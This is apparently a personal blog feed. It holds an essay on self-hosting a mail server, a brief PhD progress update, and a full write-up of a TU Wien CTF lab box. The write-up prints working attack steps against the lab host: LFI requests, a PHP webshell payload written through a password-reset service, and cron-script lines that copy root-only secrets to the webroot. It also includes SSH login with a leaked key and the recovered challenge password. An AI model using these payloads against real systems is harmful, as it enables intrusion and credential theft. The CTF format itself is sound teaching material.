By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

+
+

Why I bothered

+

Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

+

I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

+
+

How email actually moves

+

Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

+

Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

+

When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

+

Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

+

OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

+

Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

+

Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

+
+

The shape of my setup

+

On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

+

Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

+
+

Port 25 is for servers; port 587 is for people

+

This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

+

Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

+

Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

+

I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

+
+

What an “open relay” is, and why localhost lies to you

+

An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

+

Here’s the trick that wastes afternoons: testing from 127.0.0.1.

+

Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

+

So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

+

Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

+
+

DNS, but make it human

+

The forward map (name → number)

+

You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

+

I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

+

Why Cloudflare’s orange cloud is not invited

+

Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

+

Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

+
+

PTR records: the phonebook in reverse

+

This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

+

Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

+

Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

+

So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

+

You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

+
+

SPF, DKIM, and DMARC: three different questions

+

People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

+

SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

+

DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

+

DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

+

Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

+

Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

+
+

Building the unglamorous core

+

On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

+

Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

+

I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

+

When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

+
+

The Matrix certificate heist (that wasn’t a heist)

+

Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

+

No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

+

When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

+

Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

+

The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

+
+

From Linux users to real mailboxes

+

The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

+

So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

+

Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

+

One setting decides whether this feels cursed or calm: mydestination.

+

That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

+

PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

+

One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

+
+

Webmail without losing the plot

+

Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

+

I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

+

The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

+
+

The bounce emails that taught me about identity

+

After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

+

The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

+

Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

+

And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

+
+

What “done” means for me

+

For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

+

Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

+

If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

+
+ + +
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
+jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
+TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
+HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
+NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
+4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
+4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
+HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
+O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
+0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
+iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
+VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
+=KCRU
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
+curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
+gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
+  
+
+ + +]]>
June 2026https://blog.alipour.eu/phd_journey/june_2026/Tue, 23 Jun 2026 20:00:07 +0000https://blog.alipour.eu/phd_journey/june_2026/<p>Ok, it&rsquo;s been so so so long! I haven&rsquo;t been writing, once again, because I&rsquo;ve been too busy with fixing my life. +Let me summerize these past many months:</p> +<ul> +<li>I finished my coursework for my prep phase</li> +<li>I was added to a colleagues project and we submited it to IMC</li> +<li>I submitted a poster to TMA, and I will be present it at the end of this month (June)</li> +<li>I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.</li> +<li>I am a tutor at data networks, and I think I&rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.</li> +</ul> +<hr> +<div class="signature-block" style="margin-top:1rem"> +<p><strong>Downloads:</strong> +<a href="https://blog.alipour.eu/sources/PhD_journey/june_2026.md">Markdown</a> · +<a href="https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc">Signature (.asc)</a> +</p>Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. +Let me summerize these past many months:

+
    +
  • I finished my coursework for my prep phase
  • +
  • I was added to a colleagues project and we submited it to IMC
  • +
  • I submitted a poster to TMA, and I will be present it at the end of this month (June)
  • +
  • I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
  • +
  • I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.
  • +
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
+jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
+R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
+m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
+BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
+eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
+MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
+eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
+QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
+zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
+Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
+fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
+=hIg9
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md
+curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc
+gpg --verify june_2026.md.asc june_2026.md
+  
+
+ + +]]>
A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

+

This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

+

Each student group gets their own host (g00, g01, …). The goal is simple on paper:

+
    +
  1. Collect every passwd_part file sitting in user home directories.
  2. +
  3. Stitch them together into the root password (the full answer lives in /root/passwd).
  4. +
+

Simple. Boring. Except Klaus was clearly in charge of this VM.

+
+

0) The lay of the land

+

Target: g00.tuw.measurement.network

+

From the outside you mostly see three faces of the same machine:

+ + + + + + + + + + + + + + + + + + + + + +
HostWhat it is
g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
+

Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

+

SSH from outside? Public key only. Password auth is a lie (for us, anyway).

+
+

1) Recon — documentation.md saves the day

+

First stop: the main site.

+
curl -s https://g00.tuw.measurement.network/documentation.md
+

That file is basically a treasure map. It mentions two services:

+
    +
  • webweb.g00.tuw.measurement.network
  • +
  • pwresetpwreset.g00.tuw.measurement.network
  • +
+

I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

+

Subdomains resolve. Good. Let’s go web.

+
+

2) LFI — include($_GET['page']) classic

+

The web vhost is a frameset. Content loads in a frame via ?page=:

+
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
+

And there it is — root, users, the whole /etc/passwd parade inside the frame.

+

Source via PHP filter works too:

+
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
+  | sed -n 's/.*frame name="in">//p' | base64 -d
+

index.php is roughly:

+
<?php
+$page = $_GET['page'] ?? 'home.php';
+include($page);
+?>
+

Klaus, my man. We love you.

+

First instinct: read all the passwd_part files immediately.

+
# spoiler: doesn't work
+curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
+# → permission denied
+

Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

+
+

3) pwreset — localhost-only, but LFI doesn’t care about nginx

+

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

+
allow 127.0.0.1;
+deny all;
+

So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

+

pwreset source (paraphrased):

+
$user = $_GET['user'] ?? '';
+$pass = $_GET['pass'] ?? '';
+file_put_contents('/var/www/userchange', "$user:$pass\n");
+echo "Password reset queued.";
+

It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

+

Trigger it through LFI:

+
https://web.g00.tuw.measurement.network/
+  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
+  &user=user1
+  &pass=MyTestPass1!
+

I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

+
+

4) RCE — PHP in userchange, included like a boss

+

At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

+

So I wrote a tiny shell into the user field via pwreset:

+
<?=`id`?>
+

Then included /var/www/userchange through the LFI:

+
?page=/var/www/userchange
+

Output: uid=33(www-data) gid=33(www-data) ...

+

Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

+

From here on, my mental model was:

+
    +
  1. pwreset → write arbitrary-ish content to /var/www/userchange
  2. +
  3. LFI include userchange → execute PHP as www-data
  4. +
+

That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

+
+

5) Rabbit holes (aka “everything I tried before it worked”)

+

This box is a presentation CTF. It wants you to wander. I wandered. Hard.

+

nginx log poisoning

+

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

+

Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

+

data://, php://input, expect://

+
?page=data://text/plain,<?php system($_GET[cmd]); ?>
+?page=php://input   # with POST body
+?page=expect://id
+

Nope. allow_url_include = Off. Klaus isn’t that careless.

+

vim .swp files

+

.memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

+

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

+

Munin / apt_all plugin

+

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

+
    +
  • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
  • +
  • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
  • +
  • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
  • +
+

Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

+

pwreset log archaeology

+

Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

+
    +
  • Saw historical resets like user3foobar23
  • +
  • Tried foobar23 over SSH for every user
  • +
+

From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

+

Shell script injection into userchange

+

I tried newline injection to turn userchange into a bash script:

+
user=
+#!/bin/sh
+cp /home/user1/passwd_part /var/www/.../p1
+...
+

Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

+

Brute-forcing the userchange consumer

+

I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

+

Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

+

Direct SSH password guessing

+

Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

+

From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

+
+

6) Privesc — world-writable cron script (peak Klaus)

+

With RCE as www-data, I looked for writable files:

+
find / -writable -type f 2>/dev/null | head
+

Jackpot:

+
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
+

Original script (innocent):

+
#!/bin/bash
+grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
+

It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

+

I appended:

+
cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
+cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
+cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
+cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
+cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
+cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
+chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
+

Then either waited for cron or executed the script manually via RCE:

+
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
+

Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

+
+

7) SSH as www-data — because keys in the webroot are a mood

+

The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

+
# via RCE: cat the key, save locally, chmod 600
+ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
+  www-data@g00.tuw.measurement.network
+

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

+
+

8) The password parts

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SourceFilePart
user1p1DcC6Da0A27384fA
user2p29Ce05B3cAd57824
user3p33aD80fa1b7AE986
user4p4CDefabffab1FCCf
www-datapasswd_part44D885d6DAb8Bb9
rootrootpassghadnuthduxeec7
+

Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

+

Combined root password (95 characters):

+
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
+

Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

+

I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

+

Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

+
+

9) Attack chain (one screen)

+
documentation.md
+    → web vhost LFI (include $_GET['page'])
+        → include pwreset index.php (localhost bypass)
+            → write PHP to /var/www/userchange
+                → LFI include userchange
+                    → RCE as www-data
+                        → append to world-writable cron_update_hostname_file.sh
+                            → cron runs as root → copies passwd parts to webroot
+                                → read parts / SSH as www-data
+                                    → profit
+

Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

+
+

10) Replay script

+

I left a minimal Python replay in the challenge repo:

+
python3 solve.py
+

Core logic:

+
def pwreset(user, passwd=""):
+    # LFI-include pwreset index.php with user/pass params
+
+def rce(cmd):
+    pwreset(f"<?=`{cmd}`?>", "")
+    return lfi_include("/var/www/userchange")
+

It prints id, the modified cron script, each part file, and the combined password.

+
+

11) Bonus: the intended log poisoning path

+

After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

+

So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

+

The hint is in index.php, not documentation.md

+

documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

+
<!-- remember for debugging:
+    /var/log/nginx/$vhost.access.log
+    /var/log/nginx/$vhost.error.log
